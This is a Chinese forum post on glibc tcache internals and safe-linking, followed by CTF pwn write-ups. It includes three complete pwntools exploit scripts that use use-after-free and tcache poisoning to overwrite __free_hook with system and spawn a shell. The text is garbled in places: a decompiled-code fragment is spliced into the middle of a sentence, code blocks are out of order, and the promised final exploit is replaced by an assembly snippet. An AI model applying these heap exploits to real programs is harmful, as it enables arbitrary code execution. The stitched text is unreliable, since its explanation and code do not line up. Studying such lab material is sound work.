找回密码
 立即注册
首页 业界区 业界 Tcache attack

Tcache attack

釉她 5 小时前
Tcache的结构

我们看看libc2.31的源码其相关的定义
  1. #if USE_TCACHE
  2. /* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */#字面意思
  3. # define TCACHE_MAX_BINS                64
  4. # define MAX_TCACHE_SIZE        tidx2usize (TCACHE_MAX_BINS-1)
  5. /* We overlay this structure on the user-data portion of a chunk when
  6.    the chunk is stored in the per-thread cache.  */#意思大概就是他利用释放后堆块的内存去储存这个结构,不会新调用内存
  7. typedef struct tcache_entry
  8. {
  9.   struct tcache_entry *next;
  10.   /* This field exists to detect double frees.  */#和字面意思一样,这个key值防止double free
  11.   struct tcache_perthread_struct *key;
  12. } tcache_entry;
  13. /* There is one of these for each thread, which contains the
  14.    per-thread cache (hence "tcache_perthread_struct").  Keeping
  15.    overall size low is mildly important.  Note that COUNTS and ENTRIES
  16.    are redundant (we could have just counted the linked list each
  17.    time), this is for performance reasons.  */#重要的应该就是这个tcache是每个线程都有一个吧,其他的应该是字面意思
  18. typedef struct tcache_perthread_struct
  19. {
  20.   uint16_t counts[TCACHE_MAX_BINS];
  21.   tcache_entry *entries[TCACHE_MAX_BINS];
  22. } tcache_perthread_struct;
  23. static __thread bool tcache_shutting_down = false;
  24. static __thread tcache_perthread_struct *tcache = NULL;
复制代码
TCACHE_MAX_BINS这个宏大小被定义为64,也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小,0x40个uint16_t数组大小是0x80,有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240,区别在count的定义上,之前的类型是char)个可写内存,实际的堆块大小应该是0x290,下面我们看看这个tcache结构是放在哪的。
  1. static void
  2. tcache_init(void)
  3. {
  4.   mstate ar_ptr;
  5.   void *victim = 0;
  6.   const size_t bytes = sizeof (tcache_perthread_struct);#tcache结构的大小给了bytes
  7.   if (tcache_shutting_down)
  8.     return;
  9.   arena_get (ar_ptr, bytes);#获取一个可用的 arena
  10.   victim = _int_malloc (ar_ptr, bytes);#分配对应大小的内存,也就是0x290
  11.   if (!victim && ar_ptr != NULL)#如果第一次分配失败就再试一次
  12.     {
  13.       ar_ptr = arena_get_retry (ar_ptr, bytes);
  14.       victim = _int_malloc (ar_ptr, bytes);
  15.     }
  16.   if (ar_ptr != NULL)
  17.     __libc_lock_unlock (ar_ptr->mutex);
  18.   /* In a low memory situation, we may not be able to allocate memory
  19.      - in which case, we just keep trying later.  However, we
  20.      typically do this very early, so either there is sufficient
  21.      memory, or there isn't enough memory to do non-trivial
  22.      allocations anyway.  */#字面意思
  23.   if (victim)
  24.     {
  25.       tcache = (tcache_perthread_struct *) victim;#把对应内存的指针给tcache
  26.       memset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零
  27.     }
  28. }
复制代码
再后面的部分我就先用宏观的角度讲讲吧,先不结合源码讲了,tcache的链表的堆块大小从0x20一直到0x410,一共0x40个堆块,符合我们在上面看见的宏定义,如果大于这个范围那就不会进tcache,并且每个链表的堆块最大只有7个,比如0x20个堆块,他最多储存7个0x20大小的堆,剩下如果还有,那就不会进tcache。另外还要注意的就是,在libc2.41之前calloc申请堆块是不会走tcache的,也就是如果calloc申请堆块,他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)
其他特性基本与fastbin相同,单向链表,先进后出,头插法。要注意的就是在libc2.28之前tcache没有那个key值,所以可以随意double free,后面再关键一点的转变就是2.32的safelinking机制了,safelinking简单来说就是对next指针进行了加密,不能直接改成堆/目标地址了,他的加密过程的代码如下
  1. #define PROTECT_PTR(pos, ptr) \
  2. ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
复制代码
就是加密值 = next原本指向的地址 ^ (next指针的地址>> 12)next原本应该指向的地址就是下一个堆块的地址,所以在有safelinking的时候我们攻击就还需要泄露堆地址。
攻击

攻击有两种大方向,第一种是通过uaf,堆溢出,off by one/null + overlap直接改next指针,在libc2.32前我们只需要free大小相同的堆块a,free堆块b然后修改b堆块的next指针改成目标地址即可,不需要在目标地址伪造堆块,而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时,因为他只检测第一个堆块的合法性,没有检查其他堆块,所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击
polarctf-unk

因为这题漏洞很多就拿来练手了可以去靶场下载,去pwn那个方向搜一下就好(远程是2.23)PolarD&N,我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf,有堆溢出,可以show,以及随意申请任意大小的堆块。我把反编译的代码贴出来。
  1. int __fastcall main(int argc, const char **argv, const char **envp)
  2. {
  3.   setbuf(stdin, 0);
  4.   setbuf(stdout, 0);
  5.   setbuf(stderr, 0);
  6.   while ( 1 )
  7.   {
  8.     menu();
  9.     switch ( get_num() )
  10.     {
  11.       case 1:
  12.         add_chunk();
  13.         break;
  14.       case 2:
  15.         delete_chunk();
  16.         break;
  17.       case 3:
  18.         edit_chunk();
  19.         break;
  20.       case 4:
  21.         show_chunk();
  22.         break;
  23.       case 5:
  24.         exit(0);
  25.       default:
  26.         puts("invalid choice.");
  27.         break;
  28.     }
  29.   }
复制代码
menu就是打印一些提示
  1. int __cdecl get_num()
  2. {
  3.   char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  4.   unsigned __int64 v2; // [rsp+18h] [rbp-8h]
  5.   v2 = __readfsqword(0x28u);
  6.   read(0, buf, 0x10u);
  7.   return atoi(buf);
  8. }
  9. void __cdecl add_chunk()
  10. {
  11.   int index; // [rsp+8h] [rbp-8h]
  12.   int size; // [rsp+Ch] [rbp-4h]
  13.   puts("index:");
  14.   index = get_num();
  15.   puts("size:");
  16.   size = get_num();
  17.   chunk_list[index] = (char *)malloc(size);
  18. }
  19. void __cdecl delete_chunk()
  20. {
  21.   int index; // [rsp+Ch] [rbp-4h]
  22.   puts("index:");
  23.   index = get_num();
  24.   free(chunk_list[index]);
  25. }
  26. void __cdecl edit_chunk()
  27. {
  28.   int index; // [rsp+8h] [rbp-8h]
  29.   int length; // [rsp+Ch] [rbp-4h]
  30.   puts("index:");
  31.   index = get_num();
  32.   puts("length:");
  33.   length = get_num();
  34.   puts("content:");
  35.   read(0, chunk_list[index], length);
  36. }
  37. void __cdecl show_chunk()
  38. {
  39.   int index; // [rsp+Ch] [rbp-4h]
  40.   puts("index:");
  41.   index = get_num();
  42.   puts(chunk_list[index]);
  43. }
复制代码
思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址,然后free一个堆块,free第二个堆块,改第二个堆块的next指针为freehook,申请两下申请到freehook的地址,然后往一个堆块里写一个/bin/sh\x00字符串,free掉这个堆块即可getshell
我选的版本是2.31-0ubuntu9.18,exp如下:
  1. #!/usr/bin/env python3
  2. from pwn import *
  3. import sys
  4. from ctypes import *
  5. #from pwncli import *
  6. # cli_script()
  7. #from ae64 import AE64
  8. #from pymao import *
  9. context.log_level='debug'
  10. context.arch='amd64'
  11. elf=ELF('./pwn')
  12. libc = ELF('./libc.so.6')
  13. # libc1=cdll.LoadLibrary('./libc.so.6')
  14. li='./libc.so.6'
  15. flag = 0
  16. if flag:
  17.     p = remote('1')
  18. else:
  19.     p = process('./pwn')
  20. sa = lambda s,n : p.sendafter(s,n)
  21. sla = lambda s,n : p.sendlineafter(s,n)
  22. sl = lambda s : p.sendline(s)
  23. slr = lambda s : p.sendline(str(s))
  24. sd = lambda s : p.send(s)
  25. sdr = lambda s : p.send(str(s).encode())
  26. rc = lambda n : p.recv(n)
  27. ru = lambda s : p.recvuntil(s)
  28. ti = lambda : p.interactive()
  29. rcl = lambda : p.recvline()
  30. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  31. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  32. i6 = lambda a : int(a,16)
  33. def csu():
  34.     pay=p64(0)+p64(0)+p64(1)
  35.     return pay
  36. def ph(s):
  37.     print(hex(s))
  38. def dbg():
  39.     # context.terminal = ['tmux', 'splitw', '-h']
  40.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  41.     pause()
  42. def add(s,a):
  43.     ru(b"choice:")
  44.     sdr(1)
  45.     ru(b"index:")
  46.     sdr(s)
  47.     ru(b"size:")
  48.     sdr(a)
  49. def free(s):
  50.     ru(b"choice:")
  51.     sdr(2)
  52.     ru(b"index:")
  53.     sdr(s)
  54. def edit(s,a,d):
  55.     ru(b"choice:")
  56.     sdr(3)
  57.     ru(b"index:")
  58.     sdr(s)
  59.     ru(b"length:")
  60.     sdr(a)
  61.     ru(b"content:")
  62.     sd(d)
  63. def show(s):
  64.     ru(b"choice:")
  65.     sdr(4)
  66.     ru(b"index:")
  67.     sdr(s)
  68. add(0,0x410)
  69. add(1,0x20)
  70. free(0)
  71. add(0,0x20)
  72. show(0)
  73. rcl()
  74. libcbase=u6(6)-0x1ecfd0
  75. ph(libcbase)
  76. fh=libcbase+libc.sym['__free_hook']
  77. sy=libcbase+libc.sym['system']
  78. free(0)
  79. free(1)
  80. edit(1,0x8,p64(fh))
  81. add(0,0x20)
  82. add(1,0x20)
  83. edit(1,8,p64(sy))
  84. edit(0,8,b'/bin/sh\x00')
  85. free(0)
  86. ti()
复制代码
接下来patchelf改成2.32然后再打一遍,看看safelinking怎么绕过,我选的版本是2.32-0ubuntu3_amd64,这里有两种绕过办法,因为我这里可以进unsortedbin,因为safelinking不在unsortedbin生效,所以这里我们直接就可以有堆地址,算出来偏移再^即可
  1. #!/usr/bin/env python3
  2. from pwn import *
  3. import sys
  4. from ctypes import *
  5. #from pwncli import *
  6. # cli_script()
  7. #from ae64 import AE64
  8. #from pymao import *
  9. context.log_level='debug'
  10. context.arch='amd64'
  11. elf=ELF('./pwn')
  12. libc = ELF('./libc.so.6')
  13. # libc1=cdll.LoadLibrary('./libc.so.6')
  14. li='./libc.so.6'
  15. flag = 0
  16. if flag:
  17.     p = remote('1')
  18. else:
  19.     p = process('./pwn')
  20. sa = lambda s,n : p.sendafter(s,n)
  21. sla = lambda s,n : p.sendlineafter(s,n)
  22. sl = lambda s : p.sendline(s)
  23. slr = lambda s : p.sendline(str(s))
  24. sd = lambda s : p.send(s)
  25. sdr = lambda s : p.send(str(s).encode())
  26. rc = lambda n : p.recv(n)
  27. ru = lambda s : p.recvuntil(s)
  28. ti = lambda : p.interactive()
  29. rcl = lambda : p.recvline()
  30. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  31. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  32. i6 = lambda a : int(a,16)
  33. def csu():
  34.     pay=p64(0)+p64(0)+p64(1)
  35.     return pay
  36. def ph(s):
  37.     print(hex(s))
  38. def dbg():
  39.     # context.terminal = ['tmux', 'splitw', '-h']
  40.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  41.     pause()
  42. def add(s,a):
  43.     ru(b"choice:")
  44.     sdr(1)
  45.     ru(b"index:")
  46.     sdr(s)
  47.     ru(b"size:")
  48.     sdr(a)
  49. def free(s):
  50.     ru(b"choice:")
  51.     sdr(2)
  52.     ru(b"index:")
  53.     sdr(s)
  54. def edit(s,a,d):
  55.     ru(b"choice:")
  56.     sdr(3)
  57.     ru(b"index:")
  58.     sdr(s)
  59.     ru(b"length:")
  60.     sdr(a)
  61.     ru(b"content:")
  62.     sd(d)
  63. def show(s):
  64.     ru(b"choice:")
  65.     sdr(4)
  66.     ru(b"index:")
  67.     sdr(s)
  68. add(0,0x410)
  69. add(1,0x20)
  70. free(0)
  71. add(0,0x20)
  72. show(0)
  73. rcl()
  74. libcbase=u6(6)-0x1e3ff0
  75. ph(libcbase)
  76. edit(0,0x10,b'b'*0x10)
  77. show(0)
  78. ru(0x10*b'b')
  79. heap=u6(4)+0x430
  80. ph(heap)
  81. fh=libcbase+libc.sym['__free_hook']
  82. sy=libcbase+libc.sym['system']
  83. free(0)
  84. free(1)
  85. ph(fh)
  86. dbg()
  87. edit(1,0x8,p64(fh^(heap>>12)))
  88. add(0,0x20)
  89. add(1,0x20)
  90. edit(1,8,p64(sy))
  91. edit(0,8,b'/bin/sh\x00')
  92. free(0)
  93. ti()
复制代码
第二种办法就是不用unsortedbin泄露,直接用tcache泄露。只需要在第一次堆块进入之后show一次即可,为什么?因为第一次进入时第一个堆块的next指针是没值的,也就是0,0^(next指针的地址>>12)这个值就是next指针的地址>>12,我们 3 )    {LABEL_10:      puts("something wrong!");    }    else if ( n3 == 1 )    {      add();    }    else    {      if ( n3 != 2 )        goto LABEL_10;      delete();    }  }}[/code]普通的菜单,没什么好说的
  1. #!/usr/bin/env python3
  2. from pwn import *
  3. import sys
  4. from ctypes import *
  5. #from pwncli import *
  6. # cli_script()
  7. #from ae64 import AE64
  8. #from pymao import *
  9. context.log_level='debug'
  10. context.arch='amd64'
  11. elf=ELF('./pwn')
  12. libc = ELF('./libc.so.6')
  13. # libc1=cdll.LoadLibrary('./libc.so.6')
  14. li='./libc.so.6'
  15. flag = 0
  16. if flag:
  17.     p = remote('1')
  18. else:
  19.     p = process('./pwn')
  20. sa = lambda s,n : p.sendafter(s,n)
  21. sla = lambda s,n : p.sendlineafter(s,n)
  22. sl = lambda s : p.sendline(s)
  23. slr = lambda s : p.sendline(str(s))
  24. sd = lambda s : p.send(s)
  25. sdr = lambda s : p.send(str(s).encode())
  26. rc = lambda n : p.recv(n)
  27. ru = lambda s : p.recvuntil(s)
  28. ti = lambda : p.interactive()
  29. rcl = lambda : p.recvline()
  30. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  31. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  32. i6 = lambda a : int(a,16)
  33. def csu():
  34.     pay=p64(0)+p64(0)+p64(1)
  35.     return pay
  36. def ph(s):
  37.     print(hex(s))
  38. def dbg():
  39.     # context.terminal = ['tmux', 'splitw', '-h']
  40.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  41.     pause()
  42. def add(s,a):
  43.     ru(b"choice:")
  44.     sdr(1)
  45.     ru(b"index:")
  46.     sdr(s)
  47.     ru(b"size:")
  48.     sdr(a)
  49. def free(s):
  50.     ru(b"choice:")
  51.     sdr(2)
  52.     ru(b"index:")
  53.     sdr(s)
  54. def edit(s,a,d):
  55.     ru(b"choice:")
  56.     sdr(3)
  57.     ru(b"index:")
  58.     sdr(s)
  59.     ru(b"length:")
  60.     sdr(a)
  61.     ru(b"content:")
  62.     sd(d)
  63. def show(s):
  64.     ru(b"choice:")
  65.     sdr(4)
  66.     ru(b"index:")
  67.     sdr(s)
  68. add(0,0x410)
  69. add(1,0x20)
  70. free(0)
  71. add(0,0x20)
  72. show(0)
  73. rcl()
  74. libcbase=u6(6)-0x1e3ff0
  75. ph(libcbase)
  76. fh=libcbase+libc.sym['__free_hook']
  77. sy=libcbase+libc.sym['system']
  78. free(0)
  79. show(0)
  80. rcl()
  81. heap=u6(3)
  82. ph(heap)
  83. free(1)
  84. edit(1,0x8,p64(fh^(heap)))
  85. add(0,0x20)
  86. add(1,0x20)
  87. edit(1,8,p64(sy))
  88. edit(0,8,b'/bin/sh\x00')
  89. free(0)
  90. ti()
复制代码
这个input是没有off by one/null的
  1. int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
  2. {
  3.   int n3; // eax
  4.   init_data(argc, argv, envp);
  5.   while ( 1 )
  6.   {
  7.     while ( 1 )
  8.     {
  9.       n3 = menu();
  10.       if ( n3 != 3 )
  11.         break;
  12.       show();
  13.     }
  14.     if ( n3 > 3 )
  15.     {
  16. LABEL_10:
  17.       puts("something wrong!");
  18.     }
  19.     else if ( n3 == 1 )
  20.     {
  21.       add();
  22.     }
  23.     else
  24.     {
  25.       if ( n3 != 2 )
  26.         goto LABEL_10;
  27.       delete();
  28.     }
  29.   }
  30. }
复制代码
输入3进入show,这里看着好像有一个数组越界,但其实是没有的,可以看汇编
  1. int menu()
  2. {
  3.   char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
  4.   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  5.   v2 = __readfsqword(0x28u);
  6.   puts("Ez_N0t3_B00k?");
  7.   puts("1.add");
  8.   puts("2.dele");
  9.   puts("3.show");
  10.   puts("4.exit");
  11.   puts("plz input:");
  12.   input(nptr, 8);
  13.   return atoi(nptr);
  14. }
  15. __int64 __fastcall input(void *p_nptr, __int64 n8)
  16. {
  17.   int v3; // [rsp+1Ch] [rbp-4h]
  18.   v3 = read(0, p_nptr, (unsigned int)n8);
  19.   if ( v3 < 0 )
  20.   {
  21.     puts("error");
  22.     exit(-1);
  23.   }
  24.   return (unsigned int)v3;
  25. }
复制代码
这里有两个跳转第一个是JS如果为负数就会直接跳转了,所以是不能数组越界的。
  1. __int64 show()
  2. {
  3.   int n4; // [rsp+Ch] [rbp-14h]
  4.   char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
  5.   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  6.   v3 = __readfsqword(0x28u);
  7.   puts("index:");
  8.   input(nptr, 8);
  9.   n4 = atoi(nptr);
  10.   if ( n4 > 4 )
  11.   {
  12.     puts("index error");
  13.     exit(-1);
  14.   }
  15.   if ( *(&heap + n4) )
  16.   {
  17.     puts("content:");
  18.     write(1, *(*(&heap + n4) + 8LL), **(&heap + n4));
  19.   }
  20.   else
  21.   {
  22.     puts("error");
  23.   }
  24.   return 0;
  25. }
复制代码
选2进入delete函数,这里乍一看也没有漏洞啊,不是很好的清零了么,确实没有简单的UAF了,然后主程序也没有其他函数了,没有edit函数。那接下来怎么办了呢?这里其实是有一个UAF漏洞的,漏洞就在他先free(*(&heap + n4));,再 free( *( *(&heap + n4) + 8LL));这就会产生一个问题,他先free掉这个结构体的地址的堆块(就先叫堆块a吧),再free掉a这个堆块bk指针位置的堆块。他忘记了一个堆块free之后,他的fd,bk指针位置的值是会被赋值的,而这个堆块a的大小是0x20,会进tcache,而我们上面讲了tcache这个结构也是一个堆块(大小是0x280),这样他就莫名其妙帮我们把tcache结构体释放了,我们如果再申请一个类似大小的堆块就可以往tcache结构体里写值,直接可以任意地址申请堆块了。但这题开了pie导致没那么简单写,但是需要注意的是,我们申请堆块不要把整个堆块的结构破坏了,不然会报错。
大题思路就是先得到堆地址,要布局一个堆块使其的指针指向tcache_perthread_struct,改tcache_perthread_struct把count改成7以上保证tcache_perthread_struct进入unsortedbin,直接show另一个堆块泄露出libc基地址,后面再改tcache_perthread_struct让0x30的链表和我们申请堆块大小的链表形成一个overlapping,然后在0x30链表的堆块上写出来一个/bin/sh\x00,再改tcache_perthread_struct前面在我们申请的堆块大小的链表上放上freehook,然后申请出来写成system,最后free我们写出来了/bin/sh\x00字符串的堆块即可getshll
exp如下
  1. .text:0000000000001751                 mov     [rbp+var_14], eax
  2. .text:0000000000001754                 cmp     [rbp+var_14], 0
  3. .text:0000000000001758                 js      short loc_1760
  4. .text:000000000000175A                 cmp     [rbp+var_14], 4
  5. .text:000000000000175E                 jle     short loc_1776
复制代码
感觉这题还挺有意思的.

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册